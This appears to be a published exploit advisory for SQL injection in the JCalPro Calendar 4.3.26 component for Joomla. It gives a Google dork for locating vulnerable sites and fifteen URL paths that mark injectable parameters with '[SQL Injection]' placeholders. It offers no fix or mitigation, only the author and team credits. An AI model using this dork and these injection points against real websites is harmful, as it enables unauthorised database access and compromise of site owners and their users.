Joomla JCalPro Calendar 4.3.26 SQL Injection

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# Exploit Title : Joomla JCalPro Calendar Components 4.3.26 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 31/01/2019  
# Vendor Homepage : joomlashack.com ~ anything-digital.com  
# Software Download Link : joomlashack.com/joomla-extensions/jcal/  
# Software Information Link : extensions.joomla.org/extension/jcal-pro/  
# Software Version : 4.3.26  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_jcalpro''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
***************************  
  
JCal Pro offers simplicity, flexibility, a robust feature set and gorgeous templates  
  
to fit almost any color scheme. From private and community calendars,   
  
to event moderation and integration with popular extensions such as JomSocial   
  
and Community Builder, JCal Pro is sure to fit your calendar needs.  
  
Almost every organization's web site can benefit from an events calendar.   
  
For Joomla web sites, the obvious and most popular choice is JCal Pro.  
  
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# Impact :  
***********  
  
The JCal Pro Calendar component 4.3.26 for Joomla! is prone to an SQL-injection vulnerability   
  
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
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# SQL Injection Exploit :  
**********************  
  
/index.php?option=com_jcalpro&Itemid=[SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[YEAR]-[MONTH]-[DAY][SQL Injection]  
  
/index.php?option=com_jcalpro&extmode=cal&Itemid=[SQL Injection]  
  
/index.php?option=com_jcalpro&extmode=cal&date=[SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=cat&cat_id=[ID-NUMBER]&date=[YEAR]-[MONTH]-[DAY][SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=cat&cat_id=[SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=extcal_search&format=[SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&view=feeds&format=feed&cat_id=[SQL Injection]  
  
/index.php?option=com_jcalpro&minical_id=[ID-NUMBER]&extmode=minical&Itemid=[ID-NUMBER]&date=[YEAR]-[MONTH]-[DAY][SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=flyer&date=[YEAR]-[MONTH]-[DAY][SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=view&extid=[SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=week&date=[YEAR]-[MONTH]-[DAY][SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=week&date=[SQL Injection]  
  
/index.php?option=com_jcalpro&extmode=cal&date=[YEAR]-[MONTH]-[DAY][SQL Injection]  
  
/index.php?option=com_jcalpro&Itemid=[ID-NUMBER]&extmode=view&extid=[ID-NUMBER]&recurdate=[SQL Injection]  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
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